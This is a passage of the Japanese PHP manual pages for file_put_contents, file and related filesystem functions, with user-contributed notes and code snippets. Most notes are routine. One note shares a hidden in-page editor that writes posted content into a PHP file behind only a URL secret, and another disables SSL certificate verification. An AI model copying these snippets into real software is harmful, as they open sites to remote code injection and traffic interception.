        echo "Could not connect to server <b>$cfg_ftp_server</b>.<br />";
        die();
    }
    else {

        // login
        // check username and password
        if (!ftp_login($fpc_ftp_conn, "$cfg_user", "$cfg_pass")) {
            echo "User or password.<br />";
            die();
        }
        else {

            //Document Root
            if (!ftp_chdir($fpc_ftp_conn, $cfg_document_root)) {
                echo "Error to set Document Root.<br />";
                die();
            }

            //Check if there are folders to create
            if ($cotains_slash) {

                //Check if have folders and is not just the file name
                if (count($fpc_path_and_name_array) > 1) {

                    //Remove last array
                    $fpc_remove_last_array = array_pop($fpc_path_and_name_array);

                    //Checks if there slashs on the path
                    if (substr($fpc_path_and_name,0,1) == "/") {
                        $fpc_remove_first_array = array_shift($fpc_path_and_name_array);
                    }

                    //Create each folder on ftp
                    foreach ($fpc_path_and_name_array as $fpc_ftp_path) {
                        if (!@ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                            if (!ftp_mkdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                echo "Error creating directory $fpc_ftp_path.<br />";
                            }
                            else {
                                if (!ftp_chdir($fpc_ftp_conn, $fpc_ftp_path)) {
                                    echo "Error go to the directory $fpc_ftp_path.<br />";
                                }
                            }
                        }
                    }
                }
                else {

                }
            }

            //Check upload file
            if (!ftp_put($fpc_ftp_conn, $fpc_file_name, str_replace("//", "/", $cfg_temp_folder.$fpc_file_name), FTP_ASCII)) {
                echo "File upload <b>$fpc_path_and_name</b> failed!<br />";
                die();
            }
            else {
                if (!unlink(str_replace("//", "/", $cfg_temp_folder.$fpc_file_name))) {
                    echo "Error deleting temporary file.<br />";
                    die();
                }
                else {
                    echo "File upload <a href='$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."'><b>$cfg_site_link".str_replace("//", "/", "/$fpc_path_and_name")."</a></b> successfully performed.<br />";
                }
            }

            //Close connection to FTP server
            ftp_close($fpc_ftp_conn);
        }
    }
}

#Sample

$content_file = "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=shift-jis\" />
<title>Title</title>
</head>
<body>
<p>Test</p>
</body>
</html>";

ftp_put_contents("test.php", $content_file);
?>
justin dot carlson at gmail dot com 16-Aug-2011 08:28
It should be obvious that this should only be used if you're making one write, if you are writing multiple times to the same file you should handle it yourself with fopen and fwrite, the fclose when you are done writing.

Benchmark below:

file_put_contents() for 1,000,000 writes - average of 3 benchmarks:

 real 0m3.932s
 user 0m2.487s
 sys 0m1.437s

fopen() fwrite() for 1,000,000 writes, fclose() -  average of 3 benchmarks:

 real 0m2.265s
 user 0m1.819s
 sys 0m0.445s
Brandon Lockaby 08-Jul-2011 10:56
Calling file_put_contents within a destructor will cause the file to be written in SERVER_ROOT...
ravianshmsr08 at gmail dot com 15-Dec-2010 01:39
To upload file from your localhost to any FTP server.
pease note 'ftp_chdir' has been used instead of putting direct remote file path....in ftp_put ...remoth file should be only file name

<?php
$host = '*****';
$usr = '*****';
$pwd = '**********';
$local_file = './orderXML/order200.xml';
$ftp_path = 'order200.xml';
$conn_id = ftp_connect($host, 21) or die ("Cannot connect to host");
ftp_pasv($resource, true);
ftp_login($conn_id, $usr, $pwd) or die("Cannot login");
// perform file upload
ftp_chdir($conn_id, '/public_html/abc/');
$upload = ftp_put($conn_id, $ftp_path, $local_file, FTP_ASCII);
if($upload) { $ftpsucc=1; } else { $ftpsucc=0; }
// check upload status:
print (!$upload) ? 'Cannot upload' : 'Upload complete';
print "\n";
// close the FTP stream
ftp_close($conn_id);
?>
error at example dot com 11-Dec-2010 12:47
It's worth noting that you must make sure to use the correct path when working with this function. I was using it to help with logging in an error handler and sometimes it would work - while other times it wouldn't. In the end it was because sometimes it was called from different paths resulting in a failure to write to the log file.

__DIR__ is your friend.
hilton at allcor dot com dot br 04-Nov-2010 04:20
NOTE : file_put_contents create files UTF-8

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, utf8_encode($myContent));
?>
clement dot delmas at gmail dot com 17-Sep-2010 06:22
NOTE : file_put_contents doesn't add a valid BOM while creating the file

<?php
$myFile = 'test.txt';
$myContent = 'I love PHP';

file_put_contents($myFile, "\xEF\xBB\xBF".$myContent);
?>
deqode at felosity dot nl 15-Feb-2010 12:14
Please note that when saving using an FTP host, an additional stream context must be passed through telling PHP to overwrite the file.

<?php
 /* set the FTP hostname */
 $user = "test";
 $pass = "myFTP";
 $host = "example.com";
 $file = "test.txt";
 $hostname = $user . ":" . $pass . "@" . $host . "/" . $file;

 /* the file content */
 $content = "this is just a test.";

 /* create a stream context telling PHP to overwrite the file */
 $options = array('ftp' => array('overwrite' => true));
 $stream = stream_context_create($options);

 /* and finally, put the contents */
 file_put_contents($hostname, $content, 0, $stream);
?>
John Galt 29-Jul-2009 12:14
I use file_put_contents() as a method of very simple hit counters. These are two different examples of extremely simple hit counters, put on one line of code, each.

Keep in mind that they're not all that efficient. You must have a file called counter.txt with the initial value of 0.

For a text hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); echo $counter;
?>

Or a graphic hit counter:
<?php
 $counter = file_get_contents("counter.txt"); $counter++; file_put_contents("counter.txt", $counter); for($i = 0; $i < strlen($counter); $i++) echo "<img src=\"counter/".substr($counter, $i, 1).".gif\" alt=\"".substr($counter, $i, 1)."\" />";
?>
wjsams at gmail dot com 25-Jun-2009 08:57
file_put_contents() strips the last line ending

If you really want an extra line ending at the end of a file when writing with file_put_contents(), you must append an extra PHP_EOL to the end of the line as follows.

<?php
$a_str = array("these","are","new","lines");
$contents = implode(PHP_EOL, $a_str);
$contents .= PHP_EOL . PHP_EOL;
file_put_contents("newfile.txt", $contents);
print("|$contents|");
?>

You can see that when you print $contents you get two extra line endings, but if you view the file newfile.txt, you only get one.
kola_lola at hotmail dot com 06-Nov-2008 03:31
I wrote this script implementing the file_put_contents() and file_get_contents() functions to be compatible with both php4.* and php 5.*. It is a PHP Command line interface script which searches and replaces a specific word recursively through all files in the supplied directory hierarchy.

Usage from a Linux command line: ./scriptname specifieddirectory searchString replaceString

#!/usr/bin/php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];

if($argc != 4)
{
echo "This command replaces a search string with a replacement string\n for the contents of all files in a directory hierachy\n";
echo "command usage: $argv[0]  directory searchString replaceString\n";
echo "\n";
exit;
}
?><?php

if (!function_exists('file_put_contents')) {
    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }
}

function get_file_contents($filename)

      /* Returns the contents of file name passed

      */
      {
      if (!function_exists('file_get_contents'))
      {
      $fhandle = fopen($filename, "r");
      $fcontents = fread($fhandle, filesize($filename));
      fclose($fhandle);
      }
      else
      {
      $fcontents = file_get_contents($filename);
      }
      return $fcontents;
      }
?><?php

function openFileSearchAndReplace($parentDirectory, $searchFor, $replaceWith)
{
//echo "debug here- line 1a\n";
//echo "$parentDirectory\n";
//echo "$searchFor\n";
//echo "$replaceWith\n";

if ($handle = opendir("$parentDirectory")) {
    while (false !== ($file = readdir($handle))) {
        if (($file != "." && $file != "..") && !is_dir($file)) {
          chdir("$parentDirectory"); //to make sure you are always in right directory
         // echo "$file\n";
         $holdcontents = file_get_contents($file);
         $holdcontents2 = str_replace($searchFor, $replaceWith, $holdcontents);
         file_put_contents($file, $holdcontents2);
         // echo "debug here- line 1\n";
         // echo "$file\n";

        }
        if(is_dir($file) && ($file != "." && $file != ".."))
        {
        $holdpwd = getcwd();
        //echo "holdpwd = $holdpwd \n";
        $newdir = "$holdpwd"."/$file";
        //echo "newdir = $newdir \n";  //for recursive call
        openFileSearchAndReplace($newdir, $searchFor, $replaceWith);
        //echo "debug here- line 2\n";
        //echo "$file\n";
        }
    }
    closedir($handle);
 }
}

$parentDirectory2 = $argv[1];
$searchFor2 = $argv[2];
$replaceWith2 = $argv[3];

//Please do not edit below to keep the rights to this script
//Free license, if contents below this line is not edited
echo "REPLACED\n'$searchFor2' with '$replaceWith2' recursively through directory listed below\nFor all files that current user has write permissions for\nDIRECTORY: '$parentDirectory2'\n";
echo "command written by Kolapo Akande :) all rights reserved :)\n";

 $holdpwd = getcwd();
 //echo "$holdpwd\n";
chdir($parentDirectory2);
openFileSearchAndReplace($parentDirectory2, $searchFor2, $replaceWith2);
exit;
?>
admin at nabito dot net 04-Aug-2008 01:11
This is example, how to save Error Array into simple log file

<?php

$error[] = 'some error';
$error[] = 'some error 2';

@file_put_contents('log.txt',date('c')."\n".implode("\n", $error),FILE_APPEND);

?>
TrentTompkins at gmail dot com 02-Jul-2008 05:25
File put contents fails if you try to put a file in a directory that doesn't exist. This creates the directory.

<?php
    function file_force_contents($dir, $contents){
        $parts = explode('/', $dir);
        $file = array_pop($parts);
        $dir = '';
        foreach($parts as $part)
            if(!is_dir($dir .= "/$part")) mkdir($dir);
        file_put_contents("$dir/$file", $contents);
    }
?>
the geek man at hot mail point com 03-Jan-2008 03:23
I use the following code to create a rudimentary text editor. It's not fancy, but then it doesn't have to be. You could easily add a parameter to specify a file to edit; I have not done so to avoid the potential security headaches.

There are still obvious security holes here, but for most applications it should be reasonably safe if implemented for brief periods in a counterintuitive spot. (Nobody says you have to make a PHP file for that purpose; you can tack it on anywhere, so long as it is at the beginning of a file.)

<?php
$random1 = 'randomly_generated_string';
$random2 = 'another_randomly_generated_string';
$target_file = 'file_to_edit.php';
$this_file = 'the_current_file.php';

if ($_REQUEST[$random1] === $random2) {
    if (isset($_POST['content']))
        file_put_contents($target_file, get_magic_quotes_qpc() ? stripslashes($_POST['content']) : $_POST['content']);

    die('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
        <title>Editing...</title>
    </head>
    <body>
        <form method="post" action="' . $this_file . '" />
        <input type="hidden" name="' . $random1 . '" value="' . $random2 . '" />
        <textarea name="content" rows="50" cols="100">' . file_get_contents($target_file) . '</textarea><br />
        <input type="submit" value="Save Changes" />
        </form>
    </body>
</html>');
}
?>

Then simply browse to hxxp://www.example.com/{$this_file}?{$random1}={$random2}, with the appropriate values substituted for each bracketed variable. Please note that this code assumes the target file to be world writable (-rw-rw-rw- or 666) and will fail to save properly without error if it is not.

Once again, this is by no means secure or permanent, but as a quick fix for brief edits to noncritical files it should be sufficient, and its small size is a definite bonus.
egingell at sisna dot com 20-Dec-2007 07:15
There is a better way. www.php.net/touch

Since you're not adding anything to the file,

<?php
function updateFile($filename) {
    if (!file_exists($filename)) return;
    touch($filename);
}
?>
Curtis 21-Dec-2006 03:20
As to the previous user note, it would be wise to include that code within a conditional statement, as to prevent re-defining file_put_contents and the FILE_APPEND constant in PHP 5:

<?php
   if ( !function_exists('file_put_contents') && !defined('FILE_APPEND') ) {
   ...
   }
?>

Also, if the file could not be accessed for writing, the function should return boolean false, not 0. An error is different from 0 bytes written, in this case.
egingell at sisna dot com 23-Jul-2006 04:11
In reply to the previous note:

If you want to emulate this function in PHP4, you need to return the bytes written as well as support for arrays, flags.

I can only figure out the FILE_APPEND flag and array support. If I could figure out "resource context" and the other flags, I would include those too.

<?

define('FILE_APPEND', 1);
function file_put_contents($n, $d, $flag = false) {
    $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
    $f = @fopen($n, $mode);
    if ($f === false) {
        return 0;
    } else {
        if (is_array($d)) $d = implode($d);
        $bytes_written = fwrite($f, $d);
        fclose($f);
        return $bytes_written;
    }
}

?>
aidan at php dot net 20-May-2004 07:11
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat


ファイル全体を読み込んで配列に格納する

  • ≪ file_put_contents
  • fileatime ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイル全体を読み込んで配列に格納する

file

(PHP 4, PHP 5, PHP 7, PHP 8)

file — ファイル全体を読み込んで配列に格納する

説明

file ( string $filename , int $flags = 0 , resource $context = ? ) : array

ファイル全体を配列に読み込みます。

注意:

ファイルの内容を文字列として返すには file_get_contents() を使用します。

パラメータ

filename

ファイルへのパス。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

flags

オプションのパラメータ flags は、以下の定数のうちのひとつ、あるいは複数の組み合わせとなります。

FILE_USE_INCLUDE_PATH
include_path のファイルを探します。
FILE_IGNORE_NEW_LINES
配列の各要素の最後の改行を省略します。
FILE_SKIP_EMPTY_LINES
空行を読み飛ばします。

context

stream_context_create() 関数で作成したコンテキストリソース。

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

ファイルを配列に入れて返します。 配列の各要素はファイルの各行に対応します。改行記号はついたままとなります。 失敗すると file() は false を返します。

注意:

FILE_IGNORE_NEW_LINES を指定しない限り、 配列に取り込まれた各行は行末文字も含みます。

注意: マッキントッシュコンピュータ上で作成されたファイルを読み込む際に、 PHP が行末を認識できないという問題が発生した場合、 実行時の設定オプションauto_detect_line_endings を有効にする必要が生じるかもしれません。

エラー / 例外

ファイルが存在しない場合は E_WARNING レベルのエラーが発生します。

例

例1 file() の例

<?php
// ファイルの内容を配列に取り込みます。
// この例ではHTTPを通してURL上のHTMLソースを取得します。
$lines = file('http://www.example.com/');

// 配列をループしてHTMLをHTMLソースとして表示し、行番号もつけます。
foreach ($lines as $line_num => $line) {
    echo "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />\n";
}

// 他の例として、Webページを文字列に取り込みます。file_get_contents()も参照してください。
$html = implode('', file('http://www.example.com/'));

// オプションのパラメータは PHP 5 以降で使用できます
$trimmed = file('somefile.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
?>

注意

警告

IIS のような、いくつかの標準に 対応してない Web サーバーは、PHP に警告を発生させるような手順でデータを送信します。 このようなサーバーを使用する場合は、 error_reporting を警告を発生しないレベルまで小さくする必要があります。 PHP では、https:// ラッパーでストリームをオープンする際に バグがある IIS サーバーソフトウエアを検出することができ、この警告を抑制することができます。 あなたが ssl:// ソケットを作成するために fsockopen() を使用している場合、 自らこの警告を検出し、抑制する必要があります。

参考

  • readfile() - ファイルを出力する
  • fopen() - ファイルまたは URL をオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • file_get_contents() - ファイルの内容を全て文字列に読み込む
  • include - include
  • stream_context_create() - ストリームコンテキストを作成する

User Contributed Notes

sheldon at hyperlinked dot com 29-May-2019 10:25
As of PHP 5.6 the file(), file_get_contents(), and fopen() functions will return false if you are referencing a source URL that doesn't have a valid SSL certificate. Presumably, you will run into this a lot in your development environments this will drive you crazy.

You will need to create a stream context and provide it as an argument to the various file operations to tell it to ignore invalid SSL credentials.

$args = array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false),"http"=>array('timeout' => 60, 'user_agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/3.0.0.1'));

$context = stream_context_create($args);
$httpfile = file($url, false, $context);
radler63 at hotmail dot com 04-Oct-2018 04:34
My experience is that the function file does uses the cached content if the file has changed....
lanresmith 01-Jun-2017 01:32
Using if ( file(name.txt) ) might not be enough for testing if the file was successfully opened for reading because the file could be empty in which case the array returned is empty, so test instead with !==. e.g.:

$file_array = file('test.txt'); // an empty file

echo '<pre>';
if ( $file_array ) {
    # code...
    echo "success\n";
} else {
    # code...
    echo "failure\n"; // executed
}

if ( $file_array !== false ) {
    # code...
    echo "success\n"; // executed
} else {
    # code...
    echo "failure\n";
}
echo '</pre>';

result:
failure
success
Martin K. 05-Aug-2014 04:38
If the file you are reading is in CSV format do not use file(), use fgetcsv().  file() will split the file by each newline that it finds, even newlines that appear within a field (i.e. within quotations).
marco dot remy at aol dot com 17-Jun-2014 07:54
Here's my CSV converter
supports Header and trims all fields
Note: Headers must be not empty!

<?php

function csv2array($file, $delim = ';', $encl = '"', $header = false) {

    # File does not exist
    if(!file_exists($file))
        return false;

    # Read lines of file to array
    $file_lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

    # Empty file
    if($file_lines === array())
        return NULL;

    # Read headers if you want to
    if($header === true) {
        $line_header = array_shift($file_lines);
        $array_header = array_map('trim', str_getcsv($line_header, $delim, $encl));
    }

    $out = NULL;

    # Now line per line (strings)
    foreach ($file_lines as $line) {
        # Skip empty lines
        if(trim($line) === '')
            continue;

        # Convert line to array
        $array_fields = array_map('trim', str_getcsv($line, $delim, $encl));

        # If header present, combine header and fields as key => value
        if($header === true)
            $out[] = array_combine ($array_header, $array_fields);
        else
            $out[] = $array_fields;
    }

    return $out;
}
?>
Anonymous 25-Dec-2013 04:31
("file()'s problem with UTF-16" is wrong. This is updated.
The former may miss the last line of the string.)

file() seems to have a problem in handling
UTF-16 with or without BOM.

file() is likely to think "\n"=LF (0A) as a line-ending.
So, not only "000A" but also "010A, 020A,...,FE0A, FF0A,..."
are regarded as line-endings.

Moreover, file() causes a serious problem in UTF-16LE.
file() loses first "0A" (the first half of "0A00")!
And the next line begins with "00" (the rest of "0A00").
So lines after the first "0A" are totally different.

To avoid this phenomena,
eg. in case (php_script : UTF-8 , file : UTF-16 with line-ending "\r\n"),

<?php

mb_regex_encoding('UTF-16');    // to help mb_ereg_..() work properly
$str = file_get_contents($file_path);
$to_encoding = 'UTF-16';        // encoding of string
$from_encoding = 'UTF-8';        // encoding of PHP_script
$pattern1 = mb_convert_encoding('[^\r]*\r\n', $to_encoding, $from_encoding);
mb_ereg_search_init($str, $pattern1);
while ($res = mb_ereg_search_regs()) {
    $file[] = $res[0];
}
$pattern2 = mb_convert_encoding('\A.*\r\n(.*)\z', $to_encoding, $from_encoding);
mb_ereg($pattern2, $str, $match);
    $file[] = $match[1];

?>

instead of
$file = file($file_path);

If line-ending is "\n",
$pattern1 = mb_convert_encoding('[^\n]*\n', $to_encoding, $from_encoding);
bingo at dingo dot com 14-Oct-2013 12:36
To write all the lines of the file in other words to read the file line by line you can write the code like this:
<?php
$names=file('name.txt');
// To check the number of lines
echo count($names).'<br>';
foreach($names as $name)
{
   echo $name.'<br>';
}
?>

this example is so basic to understand how it's working. I hope it will help many beginners.

Regards,
Bingo
twichi at web dot de 13-Sep-2011 12:33
read from CSV data (file) into an array with named keys

... with or without 1st row = header (keys)
(see 4th parameter of function call as  true / false)

<?php
// --------------------------------------------------------------

function csv_in_array($url,$delm=";",$encl="\"",$head=false) {

    $csvxrow = file($url);   // ---- csv rows to array ----

    $csvxrow[0] = chop($csvxrow[0]);
    $csvxrow[0] = str_replace($encl,'',$csvxrow[0]);
    $keydata = explode($delm,$csvxrow[0]);
    $keynumb = count($keydata);

    if ($head === true) {
    $anzdata = count($csvxrow);
    $z=0;
    for($x=1; $x<$anzdata; $x++) {
        $csvxrow[$x] = chop($csvxrow[$x]);
        $csvxrow[$x] = str_replace($encl,'',$csvxrow[$x]);
        $csv_data[$x] = explode($delm,$csvxrow[$x]);
        $i=0;
        foreach($keydata as $key) {
            $out[$z][$key] = $csv_data[$x][$i];
            $i++;
            }
        $z++;
        }
    }
    else {
        $i=0;
        foreach($csvxrow as $item) {
            $item = chop($item);
            $item = str_replace($encl,'',$item);
            $csv_data = explode($delm,$item);
            for ($y=0; $y<$keynumb; $y++) {
               $out[$i][$y] = $csv_data[$y];
            }
        $i++;
        }
    }

return $out;
}

// --------------------------------------------------------------

?>

fuction call with 4 parameters:

(1) = the file with CSV data (url / string)
(2) = colum delimiter (e.g: ; or | or , ...)
(3) = values enclosed by (e.g: ' or " or ^ or ...)
(4) = with or without 1st row = head (true/false)

<?php

// ----- call ------
$csvdata = csv_in_array( $yourcsvfile, ";", "\"", true );
// -----------------

// ----- view ------
echo "<pre>\r\n";
print_r($csvdata);
echo "</pre>\r\n";
// -----------------

?>

PS: also see: http://php.net/manual/de/function.fgetcsv.php to read CSV data into an array
... and other file-handling methods

^
d basin 14-Oct-2009 03:47
this may be obvious, but it took me a while to figure out what I was doing wrong. So I wanted to share. I have a file on my "c:\" drive. How do I file() it?

Don't forget the backslash is special and you have to "escape" the backslash i.e. "\\":

<?php

$lines = file("C:\\Documents and Settings\\myfile.txt");

foreach($lines as $line)
{
    echo($line);
}

?>

hope this helps...
jon+spamcheck at phpsitesolutions dot com 16-Apr-2008 01:03
A user suggested using rtrim always, due to the line ending conflict with files that have an EOL that differs from the server EOL.

Using rtrim with it's default character replacement is a bad solution though, as it removes all whitespace in addition to the '\r' and '\n' characters.

A good solution using rtrim follows:

<?php
$line = rtrim($line, "\r\n") . PHP_EOL;
?>

This removes only EOL characters, and replaces with the server's EOL character, thus making preg_* work fine when matching the EOL ($)
vbchris at gmail dot com 16-Feb-2008 01:15
If you're getting "failed to open stream: Permission denied" when trying to use either file() or fopen() to access files on another server. Check your host doesn't have any firewall restrictions in-place which prevent outbound connections. This is the case with my host Aplus.net
Reversed: moc dot liamg at senroc dot werdna 12-Jul-2007 02:25
This note applies to PHP 5.1.6 under Windows (although may apply to other versions).

It appears that the 'FILE_IGNORE_NEW_LINES' flag doesn't remove newlines properly when reading Windows-style text files, i.e. files whose lines end in '\r\n'.

Solution: Always use 'rtrim()' in preference to 'FILE_IGNORE_NEW_LINES'.
info at carstanje dot com 28-Nov-2006 12:33
Using file() for reading large text files > 10 Mb gives problems, therefore you should use this instead. It is much slower but it works fine. $lines will return an array with all the lines.

<?php
$handle = @fopen('yourfile...', "r");
if ($handle) {
   while (!feof($handle)) {
       $lines[] = fgets($handle, 4096);
   }
   fclose($handle);
}
?>
justin at visunet dot ie 20-Mar-2003 09:36
Note: Now that file() is binary safe it is 'much' slower than it used to be. If you are planning to read large files it may be worth your while using fgets() instead of file() For example:

<?php
$fd = fopen ("log_file.txt", "r");
while (!feof ($fd))
{
   $buffer = fgets($fd, 4096);
   $lines[] = $buffer;
}
fclose ($fd);
?>

The resulting array is $lines.

I did a test on a 200,000 line file. It took seconds with fgets()  compared to minutes with file().


ファイルの最終アクセス時刻を取得する

  • ≪ file
  • filectime ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの最終アクセス時刻を取得する

fileatime

(PHP 4, PHP 5, PHP 7, PHP 8)

fileatime — ファイルの最終アクセス時刻を取得する

説明

fileatime ( string $filename ) : int|false

指定したファイルの最終アクセス時刻を取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの最終アクセス時刻を返し、失敗した場合に false を返します。 時間は Unix タイムスタンプとして返されます。

例

例1 fileatime() の例

<?php

// 出力例 somefile.txt was last accessed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last accessed: " . date("F d Y H:i:s.", fileatime($filename));
}

?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意:

ファイルの atime は、 ファイルのデータブロックが読み込まれる度に変更されるとみなされます。 この仕様は、アプリケーションが非常に多くのファイルまたはディレクトリに 常にアクセスする場合に性能上の負荷となる可能性があります。

Unix のファイルシステムの中には、 このようなアプリケーションの性能を向上させるために atime の更新を無効としてマウントできるものもあります。 USENET のニューススプールが一般的な例です。 このようなファイルシステムでは、この関数は使用できません。

注意:

時刻の精度は、 ファイルシステムによって異なることがあります。

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • filemtime() - ファイルの更新時刻を取得する
  • fileinode() - ファイルの inode を取得する
  • date() - ローカルの日付/時刻を書式化する

User Contributed Notes

There are no user contributed notes for this page.


ファイルの inode 変更時刻を取得する

  • ≪ fileatime
  • filegroup ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルの inode 変更時刻を取得する

filectime

(PHP 4, PHP 5, PHP 7, PHP 8)

filectime — ファイルの inode 変更時刻を取得する

説明

filectime ( string $filename ) : int|false

ファイルの inode 変更時刻を取得します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの最終更新時刻を返し、失敗した場合に false を返します。 時間は Unix タイムスタンプとして返されます。

例

例1 filectime() の例

<?php

// 出力例 somefile.txt was last changed: December 29 2002 22:16:23.

$filename = 'somefile.txt';
if (file_exists($filename)) {
    echo "$filename was last changed: " . date("F d Y H:i:s.", filectime($filename));
}

?>

エラー / 例外

失敗したときは E_WARNING が発生します。

注意

注意:

注意: 多くの Unix ファイルシステムでは、i-ノードが変更された際、つまり、 パーミッション、所有者、グループ、または他のメタデータが書き込まれた際に、 ファイルが変更されたとみなされます。 filemtime() (この関数は、Web ページ上に "最終更新時刻" を表示させたい場合に使用するものです) および fileatime() も参照ください。

注意:

いくつかの Unix では、ファイルの ctime はファイルの作成時間として参照されます。 これは間違っています。多くの Unix ファイルシステムでは Unix ファイルの作成時間は存在しません。

注意:

時刻の精度は、 ファイルシステムによって異なることがあります。

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

PHP 5.0.0 以降、この関数は、 何らかの URL ラッパーと組合せて使用することができます。 どのラッパーが stat() ファミリーをサポートしているかを調べるには サポートするプロトコル/ラッパー を参照してください。

参考

  • filemtime() - ファイルの更新時刻を取得する

User Contributed Notes

faketruth at yandex dot ru 10-Jun-2015 03:04
If you need file creation time on Mac OS X:

<?php
if ($handle = popen('stat -f %B ' . escapeshellarg($filename), 'r')) {
    $btime = trim(fread($handle, 100));
    echo strftime("btime: %Y.%m.%d %H:%M:%S\n", $btime);
    pclose($handle);
}
?>
coolkoon at gmail dot com 23-Jan-2011 02:42
You should avoid feeding the function files without a path. This applies for filemtime() and possibly fileatime() as well. If you omit the path the command will fail with the warning "filectime(): stat failed for filename.php".
m dot rabe at directbox dot com 06-Jan-2010 06:07
Under Windows you can use fileatime() instead of filectime().
soapergem at gmail dot com 05-Sep-2009 09:19
Note that on Windows systems, filectime will show the file creation time, as there is no such thing as "change time" in Windows.
javi at live dot com 03-Feb-2009 02:15
Filemtime seems to return the date of the EARLIEST modified file inside a folder, so this is a recursive function to return the date of the LAST (most recently) modified file inside a folder.

<?php

// Only take into account those files whose extensions you want to show.
$allowedExtensions = array(
  'zip',
  'rar',
  'pdf',
  'txt'
);

function filemtime_r($path)
{
    global $allowedExtensions;

    if (!file_exists($path))
        return 0;

    $extension = end(explode(".", $path));
    if (is_file($path) && in_array($extension, $allowedExtensions))
        return filemtime($path);
    $ret = 0;

     foreach (glob($path."/*") as $fn)
     {
        if (filemtime_r($fn) > $ret)
            $ret = filemtime_r($fn);
            // This will return a timestamp, you will have to use date().
     }
    return $ret;
}

?>
chuck dot reeves at gmail dot com 02-Oct-2007 09:14
filectime running on windows reading a file from a samba share, will still show the last modified date.
website at us dot kaspersky dot com 31-Aug-2007 10:51
Line 37 of the code above has an error.

echo  "File name: $file - Date Added: $date. <br/>"";

There is an extra "  after the <br/> that needs to be deleted in order for this code to work.
StevieMc at example dot com 15-Nov-2006 06:28
This method gets all the files in a directory, and echoes them in the order of the date they were added (by ftp or whatever).

<?PHP
function dirList ($directory, $sortOrder){

    //Get each file and add its details to two arrays
    $results = array();
    $handler = opendir($directory);
    while ($file = readdir($handler)) {
        if ($file != '.' && $file != '..' && $file != "robots.txt" && $file != ".htaccess"){
            $currentModified = filectime($directory."/".$file);
            $file_names[] = $file;
            $file_dates[] = $currentModified;
        }
    }
       closedir($handler);

    //Sort the date array by preferred order
    if ($sortOrder == "newestFirst"){
        arsort($file_dates);
    }else{
        asort($file_dates);
    }

    //Match file_names array to file_dates array
    $file_names_Array = array_keys($file_dates);
    foreach ($file_names_Array as $idx => $name) $name=$file_names[$name];
    $file_dates = array_merge($file_dates);

    $i = 0;

    //Loop through dates array and then echo the list
    foreach ($file_dates as $file_dates){
        $date = $file_dates;
        $j = $file_names_Array[$i];
        $file = $file_names[$j];
        $i++;

        echo  "File name: $file - Date Added: $date. <br/>"";
    }

}
?>

I hope this is useful to somebody.
laurent dot pireyn at wanadoo dot be 27-Sep-2001 05:01
If you use filectime with a symbolic link, you will get the change time of the file actually linked to. To get informations about the link self, use lstat.


ファイルのグループを取得する

  • ≪ filectime
  • fileinode ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルのグループを取得する

filegroup

(PHP 4, PHP 5, PHP 7, PHP 8)

filegroup — ファイルのグループを取得する

説明

filegroup ( string $filename ) : int|false

ファイルのグループを取得します。返り値は、数値形式のグループ ID です。 グループ名を取得するには posix_getgrgid() を使用します。

パラメータ

filename

ファイルへのパス。

返り値

ファイルの所有者のグループ ID を返し、エラーの場合は false を返します。 グループ ID は数値で返されます。グループ名に変換するには posix_getgrgid() を使用してください。 失敗すると false を返します。

例

例1 ファイルのグループの取得

<?php
$filename = 'index.php';
print_r(posix_getgrgid(filegroup($filename)));
?>

エラー / 例外

失敗時には E_WARNING レベルのエラーを発行します。

注意

注意: この関数の結果は キャッシュされます。詳細は、clearstatcache() を参照してください。

ヒント

